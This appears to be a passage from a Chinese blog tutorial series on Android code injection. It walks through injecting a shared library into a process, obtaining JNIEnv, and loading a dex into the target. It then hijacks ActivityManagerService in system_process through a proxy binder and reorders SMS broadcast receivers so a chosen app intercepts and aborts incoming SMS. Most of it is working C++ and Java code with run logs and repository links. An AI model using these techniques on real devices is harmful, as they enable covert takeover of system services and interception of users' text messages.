继续
在前 《一》、 《二》、 《三》里已经把注入的技术介绍完了，这章开始说注入之后需要做的事情。如果对注入技术已经比较熟悉了，那么可以直接看本章，否则建议先把前三章阅读一遍会比较好。
注入之后
完成了注入，那只是万里长征的第一步。
众所周知，Android的应用进程，都是由Zygote孵化的子进程，每个进程都运行在独立的JVM中。通过ptrace的注入方式，我们得到了在目标进程执行代码的机会，但距离修改JVM的内容，还差那么一点点。我们重新看一下《二》中被注入SO的关键代码：
void Main();
static void* _main(void*){
Main();
return NULL;
}
class EntryClass {
public:
EntryClass() {
pthread_t tid;
pthread_create(&tid, NULL, _main, NULL);
pthread_detach(tid);
}
} boy;
当so被注入后，我们的逻辑代码实际上是跑在一个Linux线程上，这样做的目的是为了不对主线程造成干扰。我们的目标是打通Java层，很自然的联想到JNI，通过JNI我们就是可以跟Java层互动了。但这里缺少了一个非常重要的元素——JNIEnv，没有这个对象，JNI就无从说起了。示例三
我们知道，在JVM进程中，JavaVM是全局唯一的，而JNIEnv则是按线程分配。另外，Dalvik的线程跟Linux线程是一一对应的，因此我们可以把自身所在的线程Attatch到JavaVM，JavaVM就会为我们分配JNIEnv对象了。通过阅读Dalvik源码，从AndroidRuntime中我们可以得到JavaVm的地址，再通过JavaVm所提供的AttachCurrentThead和DetachCurrentThread两个函数，即可完成JNIEnv的获取，示例代码如下：
JNIEnv *jni_env = NULL;
JavaVM *jvm = AndroidRuntime::getJavaVM();
jvm-AttachCurrentThread(&jni_env, NULL);
//TODO 使用JNIEnv
jvm->DetachCurrentThread();
至此，我们就拿到了至关重要的JNIEnv对象了。接下来，我们通过DexClassLoader加载我们的dex文件，关键代码如下所示：
先找到SystemClassLoader
//ClassLoader.getSystemClassLoader()
static jobject getSystemClassLoader(){
jclass class_loader_claxx = jni_env->FindClass("java/lang/ClassLoader");
snprintf(sig_buffer, 512, "()%s", JCLASS_LOADER);
jmethodID getSystemClassLoader_method = jni_env->GetStaticMethodID(class_loader_claxx, "getSystemClassLoader", sig_buffer);
return jni_env->CallStaticObjectMethod(class_loader_claxx, getSystemClassLoader_method);
}
然后通过SystemClassLoader，生成DexClassLoader对象
snprintf(sig_buffer, 512, "(%s%s%s%s)V", JSTRING, JSTRING, JSTRING, JCLASS_LOADER);
jmethodID dexloader_init_method = jni_env->GetMethodID(dexloader_claxx, "<init>", sig_buffer);
snprintf(sig_buffer, 512, "(%s)%s", JSTRING, JCLASS);
jmethodID loadClass_method = jni_env->GetMethodID(dexloader_claxx, "loadClass", sig_buffer);
jobject class_loader = getSystemClassLoader();
check_value(class_loader);
jobject dex_loader_obj = jni_env->NewObject(dexloader_claxx, dexloader_init_method, apk_path, dex_out_path, NULL, class_loader);
最后再通过dex_loader_obj加载dex，找到自定义方法的入口，并调用
jstring class_name = jni_env->NewStringUTF("com.demo.inject2.EntryClass");
jclass entry_class = static_cast<jclass>(jni_env->CallObjectMethod(dex_loader_obj, loadClass_method, class_name));
jmethodID invoke_method = jni_env->GetStaticMethodID(entry_class, "invoke", "(I)[Ljava/lang/Object;");
check_value(invoke_method);
jobjectArray objectarray = (jobjectArray) jni_env->CallStaticObjectMethod(entry_class, invoke_method, 0);
至此我们的dex逻辑开始执行了。我让com.demo.inject2.EntryClass.invoke作为的入口函数，从invoke里用上《三》示例中的com.demo.inject的代码，对com.demo.host打印的数据再进行修改（同一个进程被连续注入两次，应该是比较痛苦的）。下面看看inject2中invoke的代码：
package com.demo.inject2;
import java.lang.reflect.Method;
import android.content.Context;
import android.util.Log;
/**
*
* @author boyliang
*
*/
public final class EntryClass {
public static Object[] invoke(int i) {
try {
Log.i("TTT", ">>>>>>>>>>>>>I am in, I am a bad boy 2!!!!<<<<<<<<<<<<<<");
Context context = ContexHunter.getContext();
Class<?> MainActivity_class = context.getClassLoader().loadClass("com.demo.host.MainActivity");
Method setA_method = MainActivity_class.getDeclaredMethod("setA", int.class);
setA_method.invoke(null, 1);
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
代码跟《三》的示例非常相似，只是入口点不一样罢了。注意，这里同样有双亲委派的限制。输出
am start com.demo.host/.MainActivity
./poison /data/local/tmp/libimportdex.so 738看看示例三的输出
com.demo.inject starts.
I/TTT ( 738): com.demo.host starts
I/TTT ( 738): 1
I/TTT ( 738): 2
I/TTT ( 738): 3
I/TTT ( 738): 4
I/TTT ( 738): 5
I/TTT ( 738): >>>>>>>>>>>>>I am in, I am a bad boy!!!!<<<<<<<<<<<<<<
I/TTT ( 738): 998
I/TTT ( 738): 999
I/TTT ( 738): 1000
I/TTT ( 738): 1001
I/TTT ( 738): 1002
I/TTT ( 738): 1003
I/TTT ( 738): >>>>>>>>>>>>>I am in, I am a bad boy 2!!!!<<<<<<<<<<<<<<
I/TTT ( 738): 1
I/TTT ( 738): 2
I/TTT ( 738): 3
I/TTT ( 738): 4
I/TTT ( 738): 5
I/TTT ( 738): 6
I/TTT ( 738): 7
从两次的字符串输出，证明这次的注入修改已经成功了。
示例中的所有代码，都已经上传到https://github.com/boyliang/Java_Injection
最后
到目前为止，我们已经实现如下功能：
注入目标进程
获取JNIEnv地址；
另目标进程加载Dex，并执行指定的方法；
距离我们的目标，还差一步——截获broadcastIntent方法，在 《五》里我会再介绍一种叫BinderProxy的技术，通过这种技术，我们可以截获任意的BinderService的方法。
继续
在Android，几乎所有的IPC通讯都是通过Binder，可以说Binder在Android中占据着非常重要的地位。IPC通讯一般涉及client和server两部分，在Android上，所有Binder的serivce部分统称为NativeService（跟平时所说的Service组件不一样），一个NativeService可以跟多个client通讯，如果想更详细地了解这方面的内容可以到 老罗的博客睢睢。
在日常开发过程中， 我们经常会使用到的ActivityManager、PackageManager就是一个client的调用，只是本身封装得比较好，让你感觉不到。而Service部分的逻辑，主要集中在system_process和com.android.phone这两个进程里头。
broadcastIntent是ActivityManagerService(AMS)的一个方法，AMS的宿主进程是system_process，毫无疑问我们需要先注入到system_process进程，至于接下来怎么做呢，正是本章的内容。
BinderProxy
原理
所有NativeService都继承到IBinder接口，BinderProxy原理很简单，就是先到找到要代理的NativeService引用，再通过自己编写的ProxyBinder对象代理NativeService，从而达到截获IPC通讯的目的。下面我们以AMS为例，做一个说明：
AMS跟binder进行通讯，是通过JNI实现的。AMS继承Binder(IBinder的子类，封装了IPC通讯公共部分的逻辑），Binder里保存着一个类型为int的mObject的字段，这个字段正是其C++对象JavaBBinder对象的地址，这个JavaBBinder才是AMS最终跟内核通讯的对象。代码如下：
public class Binder implements IBinder {
//...
/* mObject is used by native code, do not remove or rename */
private int mObject; //这个对象保存的就是JavaBBinder的指针
private IInterface mOwner;
private String mDescriptor;
//...
}
同样的，在JavaBBinder中，也保存着一个类型jobject的mObject，指向上层Java对象。看看JavaBBinder的代码：
class JavaBBinder : public BBinder
{
//...
jobject object() const
{
return mObject;
}
//...
private:
JavaVM* const mVM;
jobject const mObject; //这个保存的是AMS的引用
};
} Java和C++就是通过这两个字段相互连结在一起的。
其中JavaBBinder中的mObject是整个IPC关键的一节，所有的client请求，都是先到达JavaBBinder，然后JavaBBinder再通过JNI调用mObject的execTransact的方法，最终把请求发送到AMS。
因此，我们只要想办法找到AMS的对象的JavaBBinder，再把mObject替换为代理对象（记作ProxyBinder，一个Java对象的引用)，即可实现BinderService代理，下面是示意图：
在实现这个代理，我们需要获取AMS和及对应用的JavaBBinder两个对象。
获取AMS引用
要获取AMS引用，通过ServiceManager即可，不过这类是隐藏类，通过反射才可以调用。通过ServiceManager.getService("activity")即可以拿到AMS。
获取JavaBBinder
通过前面的介绍，拿到AMS之后，就可以获取其mObject字段，这个对象正好就是JavaBBinder的地址。另外，也有一种比较简单的方式，那就是通过defaultServiceManager的getService方法获取到。
替换mObject对象
JavaBBinder的mObject对象并不能直接替换，因为mObject是const的，我写了一个DummyJavaBBinder的类，可以很容易地处理好这个问题，DummyJavaBBinder的实现如下：
class DummyJavaBBinder : public BBinder{
public:
virtual status_t onTransact(uint32_t code, const Parcel& data, Parcel* reply, uint32_t flags = 0) {
return NO_ERROR;
}
jobject object() const {
return mObject;
}
JavaVM* javaVM() const {
return mVM;
}
void changeObj(jobject newobj){
const jobject* p_old_obj = &mObject;
jobject* p_old_obj_noconst = const_cast<jobject *>(p_old_obj);
*p_old_obj_noconst = newobj;
}
private:
JavaVM* const mVM;
jobject const mObject;
};
这个类的作用主要添加了changeObj方法，主要功能是把mObject去掉const限制，并修改为的newobj。
示例四
示例四包含三部分代码，分别是com.demo.sms，com.demo.smstrojan，以及DemonInject3。
com.demo.sms和com.demo.smstrojan的逻辑是一样的，都是拦截短信，并打印短信内容，代码片断如下：
public final class SmsReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Bundle bundle = intent.getExtras();
if (bundle != null) {
this.abortBroadcast();
Object[] pdus = (Object[]) bundle.get("pdus");
SmsMessage[] messages = new SmsMessage[pdus.length];
for (int i = 0; i < pdus.length; i++) {
messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
}
for (SmsMessage message : messages) {
String msg = message.getMessageBody();
String to = message.getOriginatingAddress();
Log.i("TTT", context.getPackageName() + " To:" + to + " Msg:" + msg);
}
}
}
}
DemoInject3相对复杂，包含dex和proxybinder（被注入的so）两部分。dex的逻辑是生成代理的proxybinder，并通过invoke返回给lib，lib再通过DummyJavaBBinder修改其mObject为proxybinder，关键代码如下dex代码
package com.demo.inject3;
import android.net.Uri;
import android.os.Binder;
import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
import android.util.Log;
/**
*
* @author boyliang
*
*/
public final class EntryClass {
private static final class ProxyActivityManagerServcie extends Binder {
private static final String CLASS_NAME = "android.app.IActivityManager";
private static final String DESCRIPTOR = "android.app.IActivityManager";
private static final int s_broadcastIntent_code;
private SmsReceiverResorter mResorter;
static {
if (ReflecterHelper.setClass(CLASS_NAME)) {
s_broadcastIntent_code = ReflecterHelper.getStaticIntValue("BROADCAST_INTENT_TRANSACTION", -1);
} else {
s_broadcastIntent_code = -1;
}
}
private IBinder mBinder;
public ProxyActivityManagerServcie(IBinder binder) {
mBinder = binder;
mResorter = new SmsReceiverResorter(binder);
}
@Override
protected boolean onTransact(int code, Parcel data, Parcel reply, int flags) throws RemoteException {
if (code == s_broadcastIntent_code) {
mResorter.updatePriority("com.demo.sms");
}
return mBinder.transact(code, data, reply, flags);
}
}
public static Object[] invoke(int i) {
IBinder activity_proxy = null;
try {
activity_proxy = new ProxyActivityManagerServcie(ServiceManager.getService("activity"));
Log.i("TTT", ">>>>>>>>>>>>>I am in, I am a bad boy 3!!!!<<<<<<<<<<<<<<");
} catch (Exception e) {
e.printStackTrace();
}
return new Object[] { "activity", activity_proxy };
}
}
看到onTransact中code的过滤处理，当code==s_broadcastIntent_code时，证明有client调用了sendBroadcast方法了，然后马上调用SmsReceiverRestorter中的updatePriority方法。
最后invoke返回的是一个Object数组，分别是"activity"字符串和activity_proxy对象，再看看proxybinder.cpp的中调用invoke方法的处理：
<span style="white-space:pre"> </span>jmethodID invoke_method = jni_env->GetStaticMethodID(entry_class, "invoke", "(I)[Ljava/lang/Object;");
check_value(invoke_method);
jobjectArray objectarray = (jobjectArray) jni_env->CallStaticObjectMethod(entry_class, invoke_method, 0);
check_value(objectarray);
jsize size = jni_env->GetArrayLength(objectarray);
sp<IServiceManager> servicemanager = defaultServiceManager();
for (jsize i = 0; i < size; i += 2) {
jstring name = static_cast<jstring>(jni_env->GetObjectArrayElement(objectarray, i));
jobject obj = jni_env->GetObjectArrayElement(objectarray, i + 1);
const char* c_name = jni_env->GetStringUTFChars(name, NULL);
DummyJavaBBinder* binder = (DummyJavaBBinder*) servicemanager->getService(String16(c_name)).get();
binder->changObj(jni_env->NewGlobalRef(obj));
}
lproxybinder.cpp中根据invoke返回的数组进行处理。
至此，整个BinderProxy技术的技术已经介绍完毕了，接下来看看SmsReceiverRestorter的代码，这个类主要是负责修改广播的发送顺序。跟广播发送顺序有关的变量位置ActivityManagerService.mReceiverResolver.mActionToFilter，其定义如下为private final HashMap<String, ArrayList<IntentFilter>> mActionToFilter。其中key是action，value是各个broadcast中的intentfilter描述，这个value本身是一个List，其顺序即为广播的发送顺序，调整这个顺序即可，见代码；
final class SmsReceiverResorter {
private static final String[] sActions = { "android.provider.Telephony.SMS_RECEIVED", "android.provider.Telephony.SMS_RECEIVED2", "android.provider.Telephony.GSM_SMS_RECEIVED" };
private final String TAG = "SmsReceiverResorter";
private HashMap<String, ArrayList<? extends IntentFilter>> mActionToFilter;
private Field mPackageNameField;
@SuppressWarnings("unchecked")
public SmsReceiverResorter(IBinder am) {
Class<?> claxx = am.getClass();
try {
Field field = claxx.getDeclaredField("mReceiverResolver");
field.setAccessible(true);
Object mReceiverResolver = field.get(am);
claxx = mReceiverResolver.getClass();
field = claxx.getSuperclass().getDeclaredField("mActionToFilter");
field.setAccessible(true);
mActionToFilter = (HashMap<String, ArrayList<? extends IntentFilter>>) field.get(mReceiverResolver);
} catch (Exception e) {
Log.e(TAG, e.toString());
}
}
/**
* 修改优先级
*/
public void updatePriority(String target_pkg) {
if (mActionToFilter != null) {
for (String action : sActions) {
@SuppressWarnings("unchecked")
ArrayList<IntentFilter> filters = (ArrayList<IntentFilter>) mActionToFilter.get(action);
if (filters != null) {
Log.i("TTT", "send sms broadcast");
IntentFilter filter = null;
for (IntentFilter f : filters) {
String pkg = getPackageName(f);
if (target_pkg.equals(pkg)) {
filter = f;
break;
}
}
// 调整顺序
if (filter != null && filters.remove(filter) ) {
filters.add(0, filter);
filter = null;
Log.i("TTT", target_pkg + " is the first now");
}
}
}
}
}
private String getPackageName(IntentFilter filter) {
if (mPackageNameField == null && filter != null) {
Class<?> claxx = filter.getClass();
try {
mPackageNameField = claxx.getDeclaredField("packageName");
mPackageNameField.setAccessible(true);
} catch (Exception e) {
Log.e(TAG, e.toString());
}
}
String result = null;
if (filter != null) {
try {
result = (String) mPackageNameField.get(filter);
} catch (Exception e) {
Log.e(TAG, e.toString());
}
}
return result;
}
}最后
这次的示例代码有点多，我已经上传至https://github.com/boyliang/Hijack_AMS_broadIntent。
通过上面的方法，无论com.demo.sms是怎样落后于sms.demo.smstrojan注册广播，都可以最先拦截到短信。
终于把这个方案讲解完了，累死。。。
谁能坚持看到这里，也算是一种缘分吧。
在下一章里，我会全面介绍AIM这个框架的实现细节，AIM框架对前面所提及的技术点做了一个很好的汇总。
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